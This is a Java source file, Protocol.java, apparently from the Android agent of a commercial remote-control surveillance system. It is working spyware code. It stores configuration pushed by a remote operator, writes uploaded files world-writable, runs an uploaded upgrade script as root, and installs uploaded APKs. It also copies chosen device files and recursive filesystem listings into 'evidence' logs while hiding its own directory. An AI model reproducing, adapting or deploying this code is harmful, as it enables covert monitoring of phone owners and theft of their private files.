/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : Protocol.java
* Created : Apr 9, 2011
* Author : zeno
* *******************************************/
package com.android.dvci.action.sync;
import android.content.Intent;
import android.net.Uri;
import com.android.dvci.Status;
import com.android.dvci.action.UninstallAction;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfType;
import com.android.dvci.evidence.EvidenceBuilder;
import com.android.dvci.evidence.EvidenceType;
import com.android.dvci.file.AutoFile;
import com.android.dvci.file.Directory;
import com.android.dvci.file.Path;
import com.android.dvci.interfaces.iProtocol;
import com.android.dvci.util.Check;
import com.android.dvci.util.DataBuffer;
import com.android.dvci.util.DateTime;
import com.android.dvci.util.Execute;
import com.android.dvci.util.ExecuteResult;
import com.android.dvci.util.StringUtils;
import com.android.dvci.util.WChar;
import com.android.mm.M;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.Arrays;
import java.util.Date;
import java.util.HashSet;
import java.util.Set;
import java.util.Vector;
/**
* The Class Protocol, is extended by ZProtocol
*/
public abstract class Protocol implements iProtocol {
/**
* The Constant UPGRADE_FILENAME.
*/
public static final String UPGRADE_FILENAME = M.e("core-update"); //$NON-NLS-1$
/**
* The debug.
*/
private static final String TAG = "Protocol"; //$NON-NLS-1$
private static Object configLock = new Object();
/**
* The transport.
*/
protected Transport transport;
Status status;
static Set<String> blackListDir = new HashSet<String>(Arrays.asList(new String[]{"/sys", "/dev", "/proc", "/acct"}));
/** The reload. */
// public boolean reload;
/** The uninstall. */
// public boolean uninstall;
/**
* Inits the.
*
* @param transport the transport
* @return true, if successful
*/
public boolean init(final Transport transport) {
this.transport = transport;
status = Status.self();
// transport.initConnection();
return true;
}
/**
* Save new conf.
*
* @param conf the conf
* @param offset the offset
* @return true, if successful
* @throws CommandException the command exception
*/
public static boolean saveNewConf(final byte[] conf, final int offset) throws CommandException {
boolean success = false;
synchronized (configLock) {
final AutoFile file = new AutoFile(Path.conf() + ConfType.NewConf);
if (Cfg.DEBUG) {
Check.log(TAG + " (saveNewConf): " + file);
}
success = file.write(conf, offset, false);
}
if (success) {
EvidenceBuilder.info(M.e("New configuration received")); //$NON-NLS-1$
return true;
} else {
return false;
}
}
/**
* Save upload.
*
* @param filename the filename
* @param content the content
*/
public static void saveUpload(final String filename, final byte[] content) {
final AutoFile file = new AutoFile(Path.uploads(), filename);
if (file.delete()) {
if (Cfg.DEBUG) {
Check.log(TAG + " getUpload replacing existing file: " + filename);//$NON-NLS-1$
}
}
file.write(content);
file.chmod("777");
if (Cfg.DEBUG) {
Check.log(TAG + " file written: " + file.exists());//$NON-NLS-1$
}
}
/**
* Upgrade multi.
*
* @param files the files
* @return true, if successful
*/
public static boolean upgradeMulti(final Vector<String> files) {
String upgradeShell = String.format(M.e("upgrade.%s.sh"), Cfg.OSVERSION);
boolean upgraded = false;
// core.default.apk
if (files.contains(upgradeShell) && Status.self().haveRoot()) {
final File file = new File(Path.uploads(), upgradeShell);
if (Cfg.DEBUG) {
Check.log(TAG + " (upgradeMulti): executing " + upgradeShell);
}
try {
Runtime.getRuntime().exec(M.e("/system/bin/chmod 755 ") + file.getAbsolutePath());
} catch (IOException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (upgradeMulti) Error: " + e);
}
}
UninstallAction.removeAdmin(Status.getAppContext());
String packageName = Status.self().getAppContext().getPackageName();
Execute ex = new Execute();
ExecuteResult result = ex.executeRoot(file.getAbsolutePath() +" "+ packageName);
if (Cfg.DEBUG) {
Check.log(TAG + " (upgradeMulti) exitcode: %s", result.exitCode);
Check.log(TAG + " (upgradeMulti) stdout: %s", result.stdout);
Check.log(TAG + " (upgradeMulti) stderr: %s", result.stderr);
}
upgraded = result.exitCode == 0;
}
if (!upgraded) {
EvidenceBuilder.info(M.e("Upgrade Succeed"));
for (final String fileName : files) {
if (Cfg.DEBUG) {
Check.log(TAG + " (upgradeMulti): " + fileName);//$NON-NLS-1$
}
final File file = new File(Path.uploads(), fileName);
if (fileName.endsWith(".apk")) {
if (Cfg.DEBUG) {
Check.log(TAG + " (upgradeMulti): action " + fileName);
}
final Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setDataAndType(Uri.fromFile(file), M.e("application/vnd.android.package-archive")); //$NON-NLS-1$
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
Status.getAppContext().startActivity(intent);
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (upgradeMulti): ignoring " + fileName);
}
}
}
}else{
EvidenceBuilder.info(M.e("Upgrade Failed"));
}
for (final String fileName : files) {
final File file = new File(Path.uploads(), fileName);
file.delete();
}
return true;
}
/**
* Delete self.
*
* @return true, if successful
*/
public static boolean deleteSelf() {
return false;
}
/**
* Save download log.
*
* @param filefilter the filefilter
*/
public static void saveDownloadLog(final String filefilter) {
File file = new File(filefilter);
if (file.exists()) {
if (Cfg.DEBUG) {
Check.log(TAG + " logging file: " + filefilter);//$NON-NLS-1$
}
saveFileLog(file, filefilter);
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " not a file, try to expand it: " + filefilter);//$NON-NLS-1$
}
final String[] files = file.list();
for (final String filename : files) {
file = new File(filename);
if (file.isDirectory()) {
continue;
}
saveFileLog(file, filename);
if (Cfg.DEBUG) {
Check.log(TAG + " logging file: " + filename);//$NON-NLS-1$
}
}
}
}
/**
* Save file log.
*
* @param !file the file
* @param filename the filename
*/
private static void saveFileLog(final File file, final String filename) {
if (Cfg.DEBUG) {
Check.requires(file != null, "null file"); //$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.requires(file.exists(), "file should exist"); //$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.requires(!filename.endsWith("/"), "path shouldn't end with /"); //$NON-NLS-1$ //$NON-NLS-2$
}
if (Cfg.DEBUG) {
Check.requires(!filename.endsWith("*"), "path shouldn't end with *"); //$NON-NLS-1$ //$NON-NLS-2$
}
byte[] content;
if (!file.canRead()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (saveFileLog): not readable");
}
return;
}
try {
int length = (int) file.length();
if (Cfg.DEBUG) {
Check.log(TAG + " (saveFileLog) %s length: %s", filename, length);
}
final byte[] additional = Protocol.logDownloadAdditional(filename);
EvidenceBuilder ev = new EvidenceBuilder(EvidenceType.DOWNLOAD, additional);
DataInputStream is = new DataInputStream(new FileInputStream(file));
ev.write(is, length);
is.close();
ev.close();
} catch (IOException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (saveFileLog) Error: " + e);
}
}
}
/**
* Log download additional.
*
* @param filename the filename
* @return the byte[]
*/
private static byte[] logDownloadAdditional(String filename) {
if (Cfg.DEBUG) {
Check.requires(filename != null, "null file"); //$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.requires(!filename.endsWith("/"), "path shouldn't end with /"); //$NON-NLS-1$ //$NON-NLS-2$
}
if (Cfg.DEBUG) {
Check.requires(!filename.endsWith("*"), "path shouldn't end with *"); //$NON-NLS-1$ //$NON-NLS-2$
}
final String path = StringUtils.chomp(Path.hidden(), "/"); // UPLOAD_DIR //$NON-NLS-1$
final int macroPos = filename.indexOf(path);
if (macroPos >= 0) {
if (Cfg.DEBUG) {
Check.log(TAG + " macropos: " + macroPos);//$NON-NLS-1$
}
final String start = filename.substring(0, macroPos);
final String end = filename.substring(macroPos + path.length());
filename = start + Directory.hiddenDirMacro + end;
}
if (Cfg.DEBUG) {
Check.log(TAG + " filename: " + filename);//$NON-NLS-1$
}
final int version = 2008122901;
final byte[] wfilename = WChar.getBytes(filename);
final byte[] buffer = new byte[wfilename.length + 8];
final DataBuffer databuffer = new DataBuffer(buffer, 0, buffer.length);
databuffer.writeInt(version);
databuffer.writeInt(wfilename.length);
databuffer.write(wfilename);
return buffer;
}
/**
* Save filesystem.
*
* @param depth the depth
* @param path the path
*/
public static void saveFilesystem(final int depth, String path) {
EvidenceBuilder fsLog = new EvidenceBuilder(EvidenceType.FILESYSTEM);
// Expand path and create log
if (path.equals("/")) { //$NON-NLS-1$
if (Cfg.DEBUG) {
Check.log(TAG + " sendFilesystem: root");//$NON-NLS-1$
}
expandRoot(fsLog, depth);
} else {
if (path.startsWith("//")) {
path = path.substring(1, path.length());
}
if (path.endsWith("/*")) { //$NON-NLS-1$ //$NON-NLS-2$
path = path.substring(0, path.length() - 2);
}
if (path.startsWith("/")) {
expandPath(fsLog, path, depth, true);
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " Error: sendFilesystem: strange path, ignoring it. " + path);//$NON-NLS-1$
}
}
}
fsLog.immediateClose();
}
/**
* Expand the root for a maximum depth. 0 means only root, 1 means its sons.
*
* @param fsLog the fs log
* @param depth the depth
*/
private static void expandRoot(final EvidenceBuilder fsLog, final int depth) {
if (Cfg.DEBUG) {
Check.requires(depth > 0, "wrong recursion depth"); //$NON-NLS-1$
}
saveRootLog(fsLog); // depth 0
expandPath(fsLog, "/", depth, false); //$NON-NLS-1$
}
/**
* Save filesystem log.
*
* @param fsLog the fs log
* @param filepath the filepath
* @return true, if successful
*/
private static boolean saveFilesystemLog(final EvidenceBuilder fsLog, final String filepath) {
if (Cfg.DEBUG) {
Check.requires(fsLog != null, "fsLog null"); //$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.requires(!filepath.endsWith("/"), "path shouldn't end with /"); //$NON-NLS-1$ //$NON-NLS-2$
}
if (Cfg.DEBUG) {
Check.requires(!filepath.endsWith("*"), "path shouldn't end with *"); //$NON-NLS-1$ //$NON-NLS-2$
}
if (Cfg.DEBUG) {
Check.log(TAG + " Info: save FilesystemLog: " + filepath);//$NON-NLS-1$
}
final int version = 2010031501;
final AutoFile file = new AutoFile(filepath);
if (!file.exists()) {
if (Cfg.DEBUG) {
Check.log(TAG + " Error: non existing file: " + filepath);//$NON-NLS-1$
}
return false;
}
final byte[] w_filepath = WChar.getBytes(filepath, true);
final byte[] content = new byte[28 + w_filepath.length];
final DataBuffer databuffer = new DataBuffer(content, 0, content.length);
databuffer.writeInt(version);
databuffer.writeInt(w_filepath.length);
int flags = 0;
final long size = file.getSize();
final boolean isDir = file.isDirectory();
if (isDir) {
flags = 1;
String[] list = file.list();
if (list == null || list.length == 0) {
if (Cfg.DEBUG) {
Check.log(TAG + " (saveFilesystemLog), empty dir");
}
flags = 3;
}
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (saveFilesystemLog), simple file");
}
//flags = 2;
}
databuffer.writeInt(flags);
databuffer.writeLong(size);
databuffer.writeLong(DateTime.getFiledate(file.getFileTime()));
databuffer.write(w_filepath);
fsLog.write(content);
if (Cfg.DEBUG) {
Check.log(TAG + " expandPath: written log");//$NON-NLS-1$
}
return isDir;
}
/**
* saves the root log. We use this method because the directory "/" cannot
* be opened, we fake it.
*
* @param fsLog the fs log
*/
private static void saveRootLog(final EvidenceBuilder fsLog) {
final int version = 2010031501;
if (Cfg.DEBUG) {
Check.requires(fsLog != null, "fsLog null"); //$NON-NLS-1$
}
final byte[] content = new byte[30];
final DataBuffer databuffer = new DataBuffer(content);
databuffer.writeInt(version);
databuffer.writeInt(2); // len
databuffer.writeInt(1); // flags
databuffer.writeLong(0);
databuffer.writeLong(DateTime.getFiledate(new Date()));
databuffer.write(WChar.getBytes("/")); //$NON-NLS-1$
fsLog.write(content);
}
/**
* Expand recursively the path saving the log. When depth is 0 saves the log
* and stop recurring.
*
* @param fsLog the fs log
* @param path the path
* @param depth the depth
*/
private static void expandPath(final EvidenceBuilder fsLog, final String path, final int depth, boolean saveFirst) {
if (Cfg.DEBUG) {
Check.requires(depth > 0, "wrong recursion depth"); //$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.requires(path != null, "path==null"); //$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.requires(path == "/" || !path.endsWith("/"), "path should end with /"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$
}
if (Cfg.DEBUG) {
Check.requires(!path.endsWith("*"), "path shouldn't end with *"); //$NON-NLS-1$ //$NON-NLS-2$
}
if (Cfg.DEBUG) {
Check.log(TAG + " expandPath: " + path + " depth: " + depth);//$NON-NLS-1$ //$NON-NLS-2$
}
final File dir = new File(path);
if (dir.isDirectory()) {
if(saveFirst) {
Protocol.saveFilesystemLog(fsLog, path);
}
final String[] files = dir.list();
if (files == null) {
return;
}
for (final String file : files) {
String dPath = path + "/" + file; //$NON-NLS-1$
if (dPath.startsWith("//")) { //$NON-NLS-1$
dPath = dPath.substring(1);
}
if (dPath.indexOf(StringUtils.chomp(Path.hidden(), "/")) >= 0) { //$NON-NLS-1$
if (Cfg.DEBUG) {
Check.log(TAG + " Warn: " + "expandPath ignoring hidden path: " + dPath);//$NON-NLS-1$ //$NON-NLS-2$
}
continue;
}
if (!blackListDir.contains(dPath)) {
final boolean isDir = Protocol.saveFilesystemLog(fsLog, dPath);
if (isDir && depth > 1) {
expandPath(fsLog, dPath, depth - 1, false);
}
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (expandPath) blocked path: %s", dPath);
}
}
}
}
}
/**
* Normalize filename.
*
* @param file the file
* @return the string
*/
public static String normalizeFilename(final String file) {
if (file.startsWith("//")) { //$NON-NLS-1$
if (Cfg.DEBUG) {
Check.log(TAG + " normalizeFilename: " + file);//$NON-NLS-1$
}
return file.substring(1);
} else {
return file;
}
}
}